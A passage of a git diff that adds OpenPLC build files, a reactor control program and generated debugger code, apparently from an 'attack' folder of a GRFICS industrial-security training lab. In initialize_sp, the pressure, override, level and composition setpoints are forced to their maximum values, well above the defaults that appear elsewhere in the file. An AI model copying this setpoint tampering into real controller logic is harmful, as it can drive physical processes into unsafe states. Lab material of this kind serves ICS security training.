b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, 